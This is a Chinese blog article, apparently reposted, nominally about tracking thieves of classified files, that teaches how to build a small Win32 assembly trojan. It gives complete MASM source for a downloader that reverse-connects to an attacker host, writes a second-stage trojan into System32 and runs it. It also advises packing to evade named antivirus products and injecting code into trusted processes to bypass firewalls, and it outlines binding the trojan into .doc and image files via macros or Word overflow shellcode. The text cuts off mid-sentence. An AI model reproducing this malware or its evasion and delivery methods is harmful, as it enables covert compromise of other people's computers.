• Win32汇编木马初探


    现在很多单位都采用单独的计算机来存放重要的涉密文件。然而如果涉密文件被盗,不仅会带来严重的经济损失,窃密者还可能逍遥法外。为了解决这个问题,我们需要对涉密文件采取某些措施:如绑定木马,在窃密者在得手后木马能自动执行,并记录下窃密者的相关信息,最后及时通知监控端。上面所采取的措施,我们称为网络跟踪技术。本文所要讲述的汇编木马,就经常应用在跟踪技术中。

      举个例子:在一涉密.Doc文件中绑定一个.Exe木马。如果木马功能复杂,并且是在VC等编译环境下生成,那它的体积至少有几十K,再加上.Doc文件自身的数据量就非常可观了。一个大的.Doc文件会引起窃密者的怀疑,我们的跟踪也就达不到效果。因此,我们势必要设法在不影响最终目的的前提下,尽量减小木马文件的体积。办法可能不止一个,而我采用的是编写汇编木马的方式。当然,研究的平台都是在Windows2000以上的操作系统中。

    Win32汇编木马设计思路
      完整的汇编木马又称为“小马”,原因有两个:一是它体积小,只有几K;二是它的功能仅仅是反向连接攻击端,从攻击端下载并执行真正的功能复杂的木马(大马)。为了便于大家理解,本文将不关心“大马”的功能实现,重点是提出汇编木马的设计思路,并尽量从基础的角度进行讨论。

      汇编木马的设计围绕4个重要的技术指标:体积小、防杀、突破防火墙与进程隐藏、拖动并执行“大马”,下面逐一介绍:
      1、 体积小。常规木马大多用高级语言编写,在集成环境下编译生成。虽然实现方便,但是生成的.Exe文件体积较大。对于汇编木马,我们采用Win32汇编来实现,使得.Exe文件体积控制在几K。
      2、 防杀。为了避免被诺顿、卡巴斯基、江民等主流杀毒软件所识别,木马文件一定要进行可靠的加壳处理。根据经验,一般我们选用最新的ASProtect,加壳后的.Exe文件生存能力一般比较强。如果需要,在必要的时候还可以手动修改文件特征码。
      3、 突破防火墙与进程隐藏。木马文件执行的时候需要与攻击端通信,必须访问网络。但不仅第三方的个人防火墙会阻拦你,现在Windows XP SP2也自带了软件防火墙。当“不可信任”的应用程序访问网络时,防火墙会报警。我的解决方法是:将网络通信部分的代码作为远程线程注入到防火墙“可信任”的进程中。这个“可信任”的进程一般是系统进程,也可以是IE。代码的注入,同时起到了进程隐藏的作用。
      4、 拖动并执行“大马”。这是汇编木马的核心功能,也是本文要重点举例讨论的内容。最终的监控、跟踪功能是在“大马”中实现的,它可以通过高级语言来实现,体积大小并没有什么限制。

    Win32汇编基础
      为了进行下面的讨论,Win32汇编是大家必须掌握的基础知识。Win32汇编生成的程序也是运行在Windows保护模式下的。我们可以通过下面几个方面去了解:

      1、Win32ASM编译器
    Win32ASM编译器最常用的有两种:Borland公司的Tasm5.0和Microsoft的Masm6.11及以上版本,两种编译器各有自己的优缺点,本文选用Microsoft的Masm6.11进行岩石。
      2、环境设置
    为了直接调用Masm6.11提供工具和库文件,我在“我的电脑”属性→“高级”→“环境变量”→“用户变量”里分别设置(以本机为例):
      Include = F:攻防研究编程相关汇编masm611Include
      lib = F:攻防研究编程相关汇编masm611lib
      path = F:攻防研究编程相关汇编masm611in
      3、编译和连接
    汇编文件的编译:Ml /c /coff 文件名.asm,生成.obj文件
    资源文件的编译:Rc文件名.rc,生成.res文件
    连接:Link /SUBSYSTEM:WINDOWS [其他连接选项]OBJ文件名.obj[Res文件名.res]
      4、Include和Includelib语句的使用
    Include 语句包含了一些系统的定义和API函数说明,其中所有的Windows 数据结构定义和常量定义包含在“windows.inc”中,而很多API函数的说明包含在其它.inc中。例如:ExitProcess函数包含在Kernel32.dll中,我们就要在程序中包括“Include kernel32.inc”和“Includelib kernel32.lib”语句,否则在编译时会出现API 函数未定义的错误;而MessageBox在user32.dll中,那么我们就要在程序中包括“Include user32.inc”和“Includelib user32.lib”语句。
      5、数据段、代码段和注释
    未初始化的数据定义在.data?段中,已初始化的数据定义在.data段中,而代码则位于.code段中。此外,汇编代码注释由;来指引。
      6、命令行参数的提取。
    如果生成的.Exe文件是带命令行参数的,那么我们可以通过API函数GetCommandLine来获取。
    下面用一个简单的例子来对上面的基础知识走一遍,大家就更清楚了。
    .386 ;声明在80386平台下
    .model flat, stdcall; 平坦模式,函数调用约定为stdcall
    option casemap :none
    Include windows.inc
    Include kernel32.inc
    Include user32.inc
    Includelib kernel32.lib
    Includelib user32.lib

    .data ; 放初始化数据
    szCaption db '命令行参数测试',0

    .code;代码段
    start: ;代码的开始
    invoke GetCommandLine; 函数调用语句,取代call指令,省去“push 参数 ”操作
    invoke MessageBox,NULL,eax,addr szCaption,MB_OK
    invoke ExitProcess,NULL
    end start
    文件存为test.asm。在命令行下编译、连接,输入Exe文件名+参数。
    小知识:如果要学习更多的汇编知识,可以参见罗云彬编等写的《Windows环境下32位汇编语言程序设计》,在网上也能下载到电子教程。

    简单的Win32汇编木马模式实现
      有了上面的Wn32汇编基础,我们现在回到正题――汇编木马的实现。由于初次介绍,这里我将汇编木马的模型简化,主要实现下载并执行“大马”的功能,同时结合攻击端代码进行演示,算是为以后讨论更为复杂的汇编木马做为铺垫。
    汇编木马主要代码如下:
    ;定义未初始化数据,就像高级语言中定义变量一样
    .data?
    hInstance dd ?
    sysdir db 128 dup (?)
    mainsock dd ?
    wsainfo WSADATA<>
    mainsin sockaddr_in<>
    clientinfo sockaddr_in<>
    ;dwRever_Ip DWORD ?;可通过命令行参数指定,本文在本机演示忽略
    recvbuff2 dd ?
    recvbuff db 1024 dup (?)
    sendbuff db 1024 dup (?)
    location db 256 dup (?)
    bytesdone dd ?
    buffwrite db 256 dup (?)
    uplfile dd ?; 文件句柄

    ;已初始化的数据
    .data
    szFileName db 'dg.Exe',0
    dirfmt db '%s\%s', 0
    mainport db '80', 0
    szOK db 'ok!', 0

    .code
    start:
    ;初始化winsock
    invoke WSAStartup, 101h, addr wsainfo
    cmp eax, 0
    ;PrintError
    jnz endl
    ;创建套接字
    invoke socket, AF_INET, SOCK_STREAM, IPPROTO_TCP
    cmp eax, INVALID_SOCKET
    ;PrintError
    jz endl ;出错就结束

    mov mainsock, eax
    mov mainsin.sin_family, AF_INET
    ;反连端口,80、110、25均可以
    mov eax, 80
    push eax
    call htons
    mov mainsin.sin_port, ax
    ;mov eax, dwRever_Ip ;攻击端IP,可根据需要自己改写,也可通过其它方式传递
    mov eax, 100007fh; 这里使用127.0.0.1
    mov mainsin.sin_addr, eax

    ;反连攻击端
    invoke connect, mainsock, addr mainsin, sizeof mainsin
    ;PrintError
    cmp eax, SOCKET_ERROR
    jz endloop

    ;下面接收“大马”
    ;先接收攻击端发送的“大马”文件大小
    invoke RtlZeroMemory, addr recvbuff2, sizeof recvbuff2
    invoke recv, mainsock, addr recvbuff2, sizeof recvbuff2, 0
    cmp eax, SOCKET_ERROR
    jz endloop
    cmp eax, 0
    jz endloop
    ;返回确认信息
    invoke send, mainsock, addr szOK, sizeof szOK, 0

    接收文件,并放在系统目录下
    upload:
    ;获取系统目录
    invoke GetSystemDirectory, addr sysdir, sizeof sysdir
    ;构造路径sprintf(location, "%s\%s", sysdir, szFileName)
    invoke wsprintf, addr location, addr dirfmt, addr sysdir, addr szFileName
    ;创建文件
    invoke CreateFile, addr location, GENERIC_WRITE, FILE_SHARE_READ or
    FILE_SHARE_WRITE, NULL, Create_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
    ;文件句柄
    mov uplfile, eax
    ;已接收字节数
    mov bytesdone, 0

    ;循环接收
    uploadloop:
    invoke RtlZeroMemory, addr recvbuff, sizeof recvbuff
    invoke recv, mainsock, addr recvbuff, sizeof recvbuff, 0
    cmp eax, SOCKET_ERROR
    jz upldone
    cmp eax, 0
    jz upldone
    mov edx, eax
    add bytesdone, eax
    ;向文件中写内容
    invoke WriteFile, uplfile, addr recvbuff, edx, addr buffwrite, NULL
    invoke send, mainsock, addr szOK, sizeof szOK, 0
    mov edx, recvbuff2
    cmp bytesdone, edx
    jnae uploadloop

    upldone:
    invoke CloseHandle, uplfile
    ;“大马”命令行参数可根据需要指定
    invoke ShellExecute, NULL, NULL, addr location, NULL, NULL, SW_SHOWNORMAL
    endloop:
    invoke closesocket, mainsock
    endl:
    end start
      按照前面的方法编译、生成可执行程序down_exec.exe,这就是简单的汇编木马。大家可以看到,down_exec.Exe体积仅2.5k。攻击端的实现很简单,就是监听80(110、25等具有隐蔽性的端口都可以)端口,等待汇编木马执行后连接过来,然后传送并执行“大马”。具体代码参见光盘中的Server.cpp,此处不再赘述。至于“大马”,这里我用了一个个简单的dg.exe,作用是在D盘根目录下生成1.txt,里面有一串字符便于检验。
    下面我们进行测试:先生成攻击端Server.Exe、dg.Exe放在tools目录中,将tools目录、Server.Exe和汇编木马down_exec.Exe一同放到“演示工具目录中”, 双击Server.Exe和down_exec.Exe,大家可以检查D盘下是否生成了1.txt,同时看看系统的System32目录下是否有一个dg.Exe。


    木马文件绑定技术
      最后,我们来讨论一下木马文件的绑定。我们的汇编木马不仅可以绑定在.Doc、.pdf等文件中起到保护作用,还可以绑定在.png、.jpg、.wmf等图片文件中制作成网页木马。文件绑定是比较容易实现的,但是要在母体文件打开时自动生成并执行木马文件却有很多限制,相信做过这方面工作的朋友都有所体会。
    绑定文件的方法视文件母体的不同而不同,这里以在.Doc文件中绑定.Exe文件为例。向.Doc文件中绑定.Exe文件后,要在打开该.Doc文件的时候自动生成并执行该.Exe文件方法大致有两个:
      1、 利用Word提供的宏机制
      举个例子:要将1.Exe绑定到2.Doc中,通过命令“copy /b 2.Doc+1.Exe new2.Doc”命令即可实现。要从new2.Doc中提取出1.Exe,则必须用Word宏机制提供的VBA编程来实现。这种实现方式容易受到Word宏机制安全设置的限制,详细介绍大家可以参考我在06年第2期写的《Word 溢出漏洞的分析和利用》。
      2、利用Word溢出漏洞。
    这种方式虽然实现复杂,但效果却好于前一种。利用Word的溢出漏洞,我就可以构造的特定Doc文件,当窃密者打开该文件时由于Word发生缓冲区溢出而执行任意代码。具体思路如下:
    我们的特定.Doc文件为abc.Doc,物理上由3部分构成。 开头部分是溢出Doc模板,它可导致Word发生溢出。溢出之后执行其中的ShellCode,判断是否为合法用户(通过硬件信息判断),如果是则提取并生成真正涉密的Doc,再调用Winword.Exe打开该文件;如果不是合法用户,则不生成真正涉密的Doc,而直接生成并

  • 相关阅读:
    安卓开发中Theme.AppCompat.Light的解决方法
    一个监听事件监听多个按钮
    onCreate中的savedInstanceState有何具体作用
    [转]Bundle对象的使用
    【转】Android详细的对话框AlertDialog.Builder使用方法
    实现按两次返回键退出应用(利用安卓按后退键引发的函数)
    [转]解决eclipse连接不到genymotion的问题
    随笔记录九 进程和计划任务任务管理
    linux引导过程和服务控制
    上机作业三 账号管理
  • 原文地址:https://www.cnblogs.com/kingbaby/p/3277542.html
Copyright © 2020-2023  润新知